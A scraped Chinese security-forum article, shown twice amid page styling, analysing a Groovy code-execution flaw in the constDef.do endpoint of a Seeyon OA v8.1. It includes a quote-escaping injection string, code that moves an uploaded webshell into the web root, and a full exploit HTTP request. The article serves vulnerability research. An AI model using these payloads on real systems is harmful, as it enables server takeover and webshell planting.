itWcJybarx4LkbnITAR6zl2TJ4ZbG27PZ9nF8qchfkvHlcXwOza0DuP4uviYuFDxChzAozAfIEoMkRAzGEBkkmTRAkCIz4EbAn81lE8mEwYiPAwhmwuDh3ZGAR/5AiBgdcDNpNIRIjhJdU2aaranRNTCUlOjYyMgYvdb5qU2bjtR7l69e++XcrFuuW0gkeu7SpfvOeSM02k+Cb2R7t2z95dpV7vmLf3qswfeK3RKzk2JwmjWY6TA2Bdw9EcgDcgptutIo7tpwzv3t8a6l7ea5VyxaeqFRPyZ/840g6R8NvbH7p4vnu1et/eXWLb1jvoZvYx8KRqjnSXGvOCJYBL8wJGwQzhMuFq6G2mZ6E9gDaRhlUWMmzS6bSbonRI0iVD4C9RQTgzQdywxSfyAb4IcQbcbadmCXxTKJGSQWNbSQCLR
|
|||
|
|
<style>@-moz-keyframes blink{50%{background-color:transparent}}@-webkit-keyframes blink{50%{background-color:transparent}}@keyframes blink{50%{background-color:transparent}}@media print{}pre code.hljs{overflow-x:auto}.hljs{color:#000}.hljs-comment{color:green}.hljs-keyword{color:#00f}.hljs-string{color:#a31515}.markdown-body{color-scheme:light;--color-prettylights-syntax-comment:#6e7781;--color-prettylights-syntax-constant:#0550ae;--color-prettylights-syntax-entity:#8250df;--color-prettylights-syntax-storage-modifier-import:#24292f;--color-prettylights-syntax-entity-tag:#116329;--color-prettylights-syntax-keyword:#cf222e;--color-prettylights-syntax-string:#0a3069;--color-prettylights-syntax-variable:#953800;--color-prettylights-syntax-brackethighlighter-unmatched:#82071e;--color-prettylights-syntax-invalid-illegal-text:#f6f8fa;--color-prettylights-syntax-invalid-illegal-bg:#82071e;--color-prettylights-syntax-carriage-return-text:#f6f8fa;--color-prettylights-syntax-carriage-return-bg:#cf222e;--color-prettylights-syntax-string-regexp:#116329;--color-prettylights-syntax-markup-list:#3b2300;--color-prettylights-syntax-markup-heading:#0550ae;--color-prettylights-syntax-markup-italic:#24292f;--color-prettylights-syntax-markup-bold:#24292f;--color-prettylights-syntax-markup-deleted-text:#82071e;--color-prettylights-syntax-markup-deleted-bg:#FFEBE9;--color-prettylights-syntax-markup-inserted-text:#116329;--color-prettylights-syntax-markup-inserted-bg:#dafbe1;--color-prettylights-syntax-markup-changed-text:#953800;--color-prettylights-syntax-markup-changed-bg:#ffd8b5;--color-prettylights-syntax-markup-ignored-text:#eaeef2;--color-prettylights-syntax-markup-ignored-bg:#0550ae;--color-prettylights-syntax-meta-diff-range:#8250df;--color-prettylights-syntax-brackethighlighter-angle:#57606a;--color-prettylights-syntax-sublimelinter-gutter-mark:#8c959f;--color-prettylights-syntax-constant-other-reference-link:#0a3069;--color-fg-default:#24292f;--color-fg-muted:#57606a;--color-fg-subtle:#6e7781;--color-canvas-default:#ffffff;--color-canvas-subtle:#f6f8fa;--color-border-default:#d0d7de;--color-border-muted:hsl(210,18%,87%);--color-neutral-muted:rgba(175,184,193,0.2);--color-accent-fg:#0969da;--color-accent-emphasis:#0969da;--color-attention-subtle:#fff8c5;--color-danger-fg:#cf222e}.markdown-body{-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;margin:0;color:var(--color-fg-default);background-color:var(--color-canvas-default);font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";font-size:16px;line-height:1.5;word-wrap:break-word}.markdown-body img{border-style:none;max-width:100%;-webkit-box-sizing:content-box;box-sizing:content-box;background-color:var(--color-canvas-default)}.markdown-body ::-webkit-input-placeholder{color:inherit;opacity:0.54}.markdown-body ::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}.markdown-body h3{margin-top:24px;margin-bottom:16px;line-height:1.25}.markdown-body h3{font-weight:600;font-size:1.25em}.markdown-body code{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace}.markdown-body pre{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;word-wrap:normal}.markdown-body ::-webkit-input-placeholder{color:var(--color-fg-subtle);opacity:1}.markdown-body ::placeholder{color:var(--color-fg-subtle);opacity:1}.markdown-body::before{display:table;content:""}.markdown-body::after{display:table;clear:both;content:""}.markdown-body>*:first-child{margin-top:0!important}.markdown-body>*:last-child{margin-bottom:0!important}.markdown-body p,.markdown-body pre{margin-top:0;margin-bottom:16px}.markdown-body code{padding:0.2em 0.4em;margin:0;font-size:85%;background-color:var(--color-neutral-muted);border-radius:6px}.markdown-body pre code{font-size:100%}.markdown-body pre>code{word-break:normal;white-space:pre;background:transparent}.markdown-body pre{padding:16px;overflow:auto;font-size:85%;line-height:1.45;background-color:var(--color-canvas-subtle);border-r
|
|||
|
|
<style>#md_view{padding:0 20px}#md_view img:hover{cursor:pointer}</style>
|
|||
|
|
<!--[if lt IE 9]>
|
|||
|
|
<script src="/static/js/html5shiv.min.js"></script>
|
|||
|
|
<script src="/static/js/respond.min.js"></script>
|
|||
|
|
<![endif]-->
|
|||
|
|
<style>.hot{z-index:10}</style>
|
|||
|
|
<style>html #layuicss-skinlayercss{display:none;position:absolute;width:1989px}@-webkit-keyframes bounceIn{0%{opacity:0;-webkit-transform:scale(.5);transform:scale(.5)}100%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes bounceIn{0%{opacity:0;-webkit-transform:scale(.5);-ms-transform:scale(.5);transform:scale(.5)}100%{opacity:1;-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}}@-webkit-keyframes zoomInDown{0%{opacity:0;-webkit-transform:scale(.1) translateY(-2000px);transform:scale(.1) translateY(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateY(60px);transform:scale(.475) translateY(60px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@keyframes zoomInDown{0%{opacity:0;-webkit-transform:scale(.1) translateY(-2000px);-ms-transform:scale(.1) translateY(-2000px);transform:scale(.1) translateY(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateY(60px);-ms-transform:scale(.475) translateY(60px);transform:scale(.475) translateY(60px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@-webkit-keyframes fadeInUpBig{0%{opacity:0;-webkit-transform:translateY(2000px);transform:translateY(2000px)}100%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes fadeInUpBig{0%{opacity:0;-webkit-transform:translateY(2000px);-ms-transform:translateY(2000px);transform:translateY(2000px)}100%{opacity:1;-webkit-transform:translateY(0);-ms-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes zoomInLeft{0%{opacity:0;-webkit-transform:scale(.1) translateX(-2000px);transform:scale(.1) translateX(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateX(48px);transform:scale(.475) translateX(48px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@keyframes zoomInLeft{0%{opacity:0;-webkit-transform:scale(.1) translateX(-2000px);-ms-transform:scale(.1) translateX(-2000px);transform:scale(.1) translateX(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateX(48px);-ms-transform:scale(.475) translateX(48px);transform:scale(.475) translateX(48px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@-webkit-keyframes rollIn{0%{opacity:0;-webkit-transform:translateX(-100%) rotate(-120deg);transform:translateX(-100%) rotate(-120deg)}100%{opacity:1;-webkit-transform:translateX(0) rotate(0);transform:translateX(0) rotate(0)}}@keyframes rollIn{0%{opacity:0;-webkit-transform:translateX(-100%) rotate(-120deg);-ms-transform:translateX(-100%) rotate(-120deg);transform:translateX(-100%) rotate(-120deg)}100%{opacity:1;-webkit-transform:translateX(0) rotate(0);-ms-transform:translateX(0) rotate(0);transform:translateX(0) rotate(0)}}@keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@-webkit-keyframes shake{0%,100%{-webkit-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);transform:translateX(10px)}}@keyframes shake{0%,100%{-webkit-transform:translateX(0);-ms-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);-ms-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);-ms-transform:translateX(10px);transform:translateX(10px)}}@-webkit-keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@-webkit-keyframes bounceOut{100%{opacity:0;-webkit-transform:scale(.7);transform:scale(.7)}30%{-webkit-transform:scale(1.05);transform:scale(1.05)}0%{-webkit-transform:scale(1);transform:scale(1)}}@keyframes bounceOut{100%{opacity:0;-webkit-transform:scale(.7);-ms-transform:scale(.7);transform:scale(.
|
|||
|
|
* Waves v0.7.5
|
|||
|
|
* http://fian.my.id/Waves
|
|||
|
|
*
|
|||
|
|
* Copyright 2014-2016 Alfiana E. Sibuea and other contributors
|
|||
|
|
* Released under the MIT license
|
|||
|
|
* https://github.com/fians/Waves/blob/master/LICENSE
|
|||
|
|
*/</style><style>@media (max-height:620px){}@media (max-height:783px){}@-webkit-keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}@keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}</style><style>@-webkit-keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@media (pointer:coarse){}</style><style>:root{--sr-annote-color-0:#b4d9fb;--sr-annote-color-1:#ffeb3b;--sr-annote-color-2:#a2e9f2;--sr-annote-color-3:#a1e0ff;--sr-annote-color-4:#a8ea68;--sr-annote-color-5:#ffb7da}</style><style>@-webkit-keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@-webkit-keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@-webkit-keyframes fadeOut{0%{opacity:1}to{opacity:0}}@keyframes fadeOut{0%{opacity:1}to{opacity:0}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}@-webkit-keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}@keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:tra
|
|||
|
|
<body>
|
|||
|
|
<div class="global-nav mb-50">
|
|||
|
|
<nav class="navbar navbar-inverse navbar-fixed-top">
|
|||
|
|
<div class="container nav">
|
|||
|
|
<div class="visible-xs header-response sf-hidden">
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
<div class="row hidden-xs">
|
|||
|
|
<div class="col-sm-9 col-md-9 col-lg-9">
|
|||
|
|
<div class=navbar-header>
|
|||
|
|
<button type=button class="navbar-toggle collapsed sf-hidden" data-toggle=collapse data-target=#global-navbar>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</button>
|
|||
|
|
<div class=logo><a class="navbar-brand logo" href=https://forum.butian.net/></a></div>
|
|||
|
|
</div>
|
|||
|
|
<div class="collapse navbar-collapse" id=global-navbar>
|
|||
|
|
<ul class="nav navbar-nav">
|
|||
|
|
<li><a href=https://forum.butian.net/index.php>首页 <span class=sr-only>(current)</span></a></li>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<li><a href=https://forum.butian.net/index.php/questions>问答</a></li>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<li><a href=https://forum.butian.net/index.php/shop>商城</a></li>
|
|||
|
|
|
|||
|
|
<li><a href=https://forum.butian.net/index.php/community>实战攻防技术</a></li>
|
|||
|
|
<li><a href=https://forum.butian.net/index.php/articles>漏洞分析与复现</a>
|
|||
|
|
<span class=hot>NEW</span>
|
|||
|
|
</li>
|
|||
|
|
<li><a href=https://forum.butian.net/index.php/movable>活动</a></li>
|
|||
|
|
<li><a href=https://forum.butian.net/index.php/questions/Play>摸鱼办</a>
|
|||
|
|
|
|||
|
|
</li>
|
|||
|
|
</ul>
|
|||
|
|
<form role=search id=top-search-form action=https://forum.butian.net/index.php/search method=GET class="navbar-form hidden-sm hidden-xs pull-right">
|
|||
|
|
<span class="btn btn-link"><span class=sr-only>搜索</span><span class="glyphicon glyphicon-search"></span></span>
|
|||
|
|
<input type=text name=word id=searchBox class=form-control placeholder value>
|
|||
|
|
</form>
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
</nav>
|
|||
|
|
</div>
|
|||
|
|
<div class="top-alert mt-60 clearfix text-center">
|
|||
|
|
<!--[if lt IE 9]>
|
|||
|
|
<div class="alert alert-danger topframe" role="alert">你的浏览器实在<strong>太太太太太太旧了</strong>,放学别走,升级完浏览器再说
|
|||
|
|
<a target="_blank" class="alert-link" href="http://browsehappy.com">立即升级</a>
|
|||
|
|
</div>
|
|||
|
|
<![endif]-->
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
<div class=wrap>
|
|||
|
|
<div class=container>
|
|||
|
|
<div class="row mt-10">
|
|||
|
|
<div class="col-xs-12 col-md-9 main" style=width:100%>
|
|||
|
|
<div class=widget-article>
|
|||
|
|
<h3 class="title word-wrap">某远OA后台RCE constDef.do命令执行漏洞分析</h3>
|
|||
|
|
<ul class=taglist-inline>
|
|||
|
|
<li class=tagPopup><a class=tag href=https://forum.butian.net/index.php/topic/48>漏洞分析</a></li>
|
|||
|
|
</ul>
|
|||
|
|
<div class="content mt-10">
|
|||
|
|
<div class="quote mb-20">
|
|||
|
|
某远OA constDef.do命令执行漏洞分析学习。
|
|||
|
|
</div>
|
|||
|
|
<textarea id=md_view_content style=display:none value='### 漏洞介绍
|
|||
|
|
|
|||
|
|
某远后台接口`constDef.do`存在代码执行漏洞,但是执行代码长度存在限制,可通过上传接口将webshell上传到目标服务器,再执行代码将webshell移动到可解析的目录下完成利用。
|
|||
|
|
|
|||
|
|
### 漏洞版本
|
|||
|
|
|
|||
|
|
v8.1
|
|||
|
|
|
|||
|
|
### 漏洞接口
|
|||
|
|
|
|||
|
|
```php
|
|||
|
|
/constDef.do?method=newConstDef
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
该接口对应 `com.seeyon.ctp.view.modules.operationcenter.constdef.controller.ConstDefController`的`newConstDef`方法。
|
|||
|
|
|
|||
|
|
该方法接收了一些参数,创建了`ConstDef`对象,调用了`this.constDefManager.insertConstDef(def)`方法进行插入。
|
|||
|
|
|
|||
|
|

|
|||
|
|
该方法中对`constKey`、`constDefine`参数进行验证,然后调用了`this.findByConstKey(def.getConstKey())`
|
|||
|
|
|
|||
|
|

|
|||
|
|
该方法会以构建一个`ConstDef`对象,设置`constKey`,然后调用`this.constDefDao.findByExample(def)`,这个方法会以`constKey`查找一组`ConstDef`对象,再以`ConstDef`对象作为参数调用`this.updateConstValue(result)`。
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
通过`this.constDefDao.findByExample(def)`找到`ConstDef`对象的情况下,会以该对象的`constKey`调用`ConstDefUtil.getConstDefValue(def.getConstKey())`方法。
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
继续以`constKey`作为参数调用了`ConstDefCacheManager.getInstance().getConstDefValue(constKey)`
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
该方法首先会通过`constkey`作为参数在`this.cacheMap`中获取`ConstDef`对象,`this.cacheMap`中保存的为之前插入的`ConstDef`对象。拿到`ConstDef`对象后,使用`ConstDef`对象作为参数调用`this.computeConstValue(def)`方法。
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
在`computeConstValue`方法中,能看到两处调用`evalString`和`eval`方法
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
通过`constDefine`作为参数,使用`groovy`计算表达式。
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
要想进入到`groovy`命令执行的方法调用中,需要`constDefine`的值中包含`$`,且`constType`需要指定为`3`或者`4`。
|
|||
|
|
|
|||
|
|

|
|||
|
|
首先会调用`_parserRefKey`方法对`constDefine`进行解析。会通过`$`界定一组关键字,如`$a$`,最终会在`refs`中添加`a`。
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
调用`ScriptEvaluator.getInstance().evalString(constDefine, context)`。使用`"`进行包裹,进而调用了`this.eval()`
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
最后就进入到`Groovy`命令执行漏洞利用点。
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
在`ScriptEvaluator.getInstance().evalString(constDefine, context)` 执行这里面会通过`"`把`scriptText`包裹起来,如果直接传入`java.lang.Runtime.getRuntime().exec(\"calc\");`会报错,可指定`constType=3`,也可通过如下方式进行拼接即可绕过。
|
|||
|
|
|
|||
|
|
```php
|
|||
|
|
"+"java.lang.Runtime.getRuntime().exec("calc");//$a\"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
这里漏洞的利用,需要提交3次请求,第一次请求需要随机指定一个`constKey`和`constDefine`进行提交。
|
|||
|
|
|
|||
|
|
如果不指定直接提交会提示`{"error":"操作异常操作失败, 常量引用不存在"}`。
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
所以第二次提交需要在`$xx$`中引用第一次提交的`constKey`,但是这一次提交不会触发命令执行,因为在调用`this.constDefDao.findByExample(def)`进行查找的时候,因为`constDefDao`中不存在第二次提交的`constKey`,所以不会进入`updateConstValue`的if条件中。只有第三次提交,才会从获取到第二次提交的`ConstDef`对象,进入`updateConstValue`if条件中,进而触发命令执行。
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
### 问题
|
|||
|
|
|
|||
|
|
`ctp_const_def`表中保存的是`ConstDef`对象各个属性的值,`CONST_DEFINE`字段中保存的是`constDefine`的值,但是该字段限制最大长度为`200`。
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
### 漏洞进一步利用
|
|||
|
|
|
|||
|
|
由于`CONST_DEFINE`保存的是执行的代码,需要先插入到数据库中,再取出执行,该字段规则限制的长度为`200`。为了绕过该规则,可以通过上传一个后缀为`png`,内容为`webshell`的文件,然后再通过执行代码的方式将文件从上传路径移动到web路径实现RCE。
|
|||
|
|
|
|||
|
|
```groovy
|
|||
|
|
java.io.File file = new java.io.File("..\\..\\base\\upload\\2023\\12\\15\\8115437553340205223");java.io.File endFile = new java.io.File("..\\webapps\\ROOT\\666.jsp");file.renameTo(endFile);//$b1$
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
```php
|
|||
|
|
POST /seeyon/constDef.do HTTP/1.1
|
|||
|
|
Host: 172.20.10.133
|
|||
|
|
Pragma: no-cache
|
|||
|
|
Cache-Control: no-cache
|
|||
|
|
Upgrade-Insecure-Requests: 1
|
|||
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
|
|||
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
|||
|
|
Accept-Encoding: gzip, deflate
|
|||
|
|
Accept-Language: zh-CN,zh;q=0.9
|
|||
|
|
Cookie: ts=1702625401543; JSESSIONID=0AD7C82F3D4D8EA1B6FA9E28132C4BD2; loginPageURL=; login_locale=zh_CN
|
|||
|
|
x-forwarded-for: 127.0.0.1
|
|||
|
|
x-originating-ip: 127.0.0.1
|
|||
|
|
x-remote-ip: 127.0.0.1
|
|||
|
|
x-remote-addr: 127.0.0.1
|
|||
|
|
Connection: close
|
|||
|
|
Content-Type: application/x-www-form-urlencoded
|
|||
|
|
Content-Length: 640
|
|||
|
|
|
|||
|
|
method=newConstDef&constKey=f5&constDefine=%6a%61%76%61%2e%69%6f%2e%46%69%6c%65%20%66%69%6c%65%20%3d%20%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%46%69%6c%65%28%22%2e%2e%5c%5c%2e%2e%5c%5c%62%61%73%65%5c%5c%75%70%6c%6f%61%64%5c%5c%32%30%32%33%5c%5c%31%32%5c%5c%31%35%5c%5c%38%31%31%35%34%33%37%35%35%33%33%34%30%32%30%35%32%32%33%22%29%3b%6a%61%76%61%2e%69%6f%2e%46%69%6c%65%20%65%6e%64%46%69%6c%65%20%3d%20%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%46%69%6c%65%28%22%2e%2e%5c%5c%77%65%62%61%70%70%73%5c%5c%52%4f%4f%54%5c%5c%36%36%36%2e%6a%73%70%22%29%3b%66%69%6c%65%2e%72%65%6e%61%6d%65%54%6f%28%65%6e%64%46%69%6c%65%29%3b%2f%2f%24%62%31%24&constType=3
|
|||
|
|
```'>### 漏洞介绍
|
|||
|
|
|
|||
|
|
某远后台接口`constDef.do`存在代码执行漏洞,但是执行代码长度存在限制,可通过上传接口将webshell上传到目标服务器,再执行代码将webshell移动到可解析的目录下完成利用。
|
|||
|
|
|
|||
|
|
### 漏洞版本
|
|||
|
|
|
|||
|
|
v8.1
|
|||
|
|
|
|||
|
|
### 漏洞接口
|
|||
|
|
|
|||
|
|
```php
|
|||
|
|
/constDef.do?method=newConstDef
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
该接口对应 `com.seeyon.ctp.view.modules.operationcenter.constdef.controller.ConstDefController`的`newConstDef`方法。
|
|||
|
|
|
|||
|
|
该方法接收了一些参数,创建了`ConstDef`对象,调用了`this.constDefManager.insertConstDef(def)`方法进行插入。
|
|||
|
|
|
|||
|
|

|
|||
|
|
该方法中对`constKey`、`constDefine`参数进行验证,然后调用了`this.findByConstKey(def.getConstKey())`
|
|||
|
|
|
|||
|
|

|
|||
|
|
该方法会以构建一个`ConstDef`对象,设置`constKey`,然后调用`this.constDefDao.findByExample(def)`,这个方法会以`constKey`查找一组`ConstDef`对象,再以`ConstDef`对象作为参数调用`this.updateConstValue(result)`。
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
通过`this.constDefDao.findByExample(def)`找到`ConstDef`对象的情况下,会以该对象的`constKey`调用`ConstDefUtil.getConstDefValue(def.getConstKey())`方法。
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
继续以`constKey`作为参数调用了`ConstDefCacheManager.getInstance().getConstDefValue(constKey)`
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
该方法首先会通过`constkey`作为参数在`this.cacheMap`中获取`ConstDef`对象,`this.cacheMap`中保存的为之前插入的`ConstDef`对象。拿到`ConstDef`对象后,使用`ConstDef`对象作为参数调用`this.computeConstValue(def)`方法。
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
在`computeConstValue`方法中,能看到两处调用`evalString`和`eval`方法
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
通过`constDefine`作为参数,使用`groovy`计算表达式。
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
要想进入到`groovy`命令执行的方法调用中,需要`constDefine`的值中包含`$`,且`constType`需要指定为`3`或者`4`。
|
|||
|
|
|
|||
|
|

|
|||
|
|
首先会调用`_parserRefKey`方法对`constDefine`进行解析。会通过`$`界定一组关键字,如`$a$`,最终会在`refs`中添加`a`。
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
调用`ScriptEvaluator.getInstance().evalString(constDefine, context)`。使用`"`进行包裹,进而调用了`this.eval()`
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
最后就进入到`Groovy`命令执行漏洞利用点。
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
在`ScriptEvaluator.getInstance().evalString(constDefine, context)` 执行这里面会通过`"`把`scriptText`包裹起来,如果直接传入`java.lang.Runtime.getRuntime().exec(\"calc\");`会报错,可指定`constType=3`,也可通过如下方式进行拼接即可绕过。
|
|||
|
|
|
|||
|
|
```php
|
|||
|
|
"+"java.lang.Runtime.getRuntime().exec("calc");//$a\"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
这里漏洞的利用,需要提交3次请求,第一次请求需要随机指定一个`constKey`和`constDefine`进行提交。
|
|||
|
|
|
|||
|
|
如果不指定直接提交会提示`{"error":"操作异常操作失败, 常量引用不存在"}`。
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
所以第二次提交需要在`$xx$`中引用第一次提交的`constKey`,但是这一次提交不会触发命令执行,因为在调用`this.constDefDao.findByExample(def)`进行查找的时候,因为`constDefDao`中不存在第二次提交的`constKey`,所以不会进入`updateConstValue`的if条件中。只有第三次提交,才会从获取到第二次提交的`ConstDef`对象,进入`updateConstValue`if条件中,进而触发命令执行。
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
### 问题
|
|||
|
|
|
|||
|
|
`ctp_const_def`表中保存的是`ConstDef`对象各个属性的值,`CONST_DEFINE`字段中保存的是`constDefine`的值,但是该字段限制最大长度为`200`。
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
### 漏洞进一步利用
|
|||
|
|
|
|||
|
|
由于`CONST_DEFINE`保存的是执行的代码,需要先插入到数据库中,再取出执行,该字段规则限制的长度为`200`。为了绕过该规则,可以通过上传一个后缀为`png`,内容为`webshell`的文件,然后再通过执行代码的方式将文件从上传路径移动到web路径实现RCE。
|
|||
|
|
|
|||
|
|
```groovy
|
|||
|
|
java.io.File file = new java.io.File("..\\..\\base\\upload\\2023\\12\\15\\8115437553340205223");java.io.File endFile = new java.io.File("..\\webapps\\ROOT\\666.jsp");file.renameTo(endFile);//$b1$
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
```php
|
|||
|
|
POST /seeyon/constDef.do HTTP/1.1
|
|||
|
|
Host: 172.20.10.133
|
|||
|
|
Pragma: no-cache
|
|||
|
|
Cache-Control: no-cache
|
|||
|
|
Upgrade-Insecure-Requests: 1
|
|||
|
|
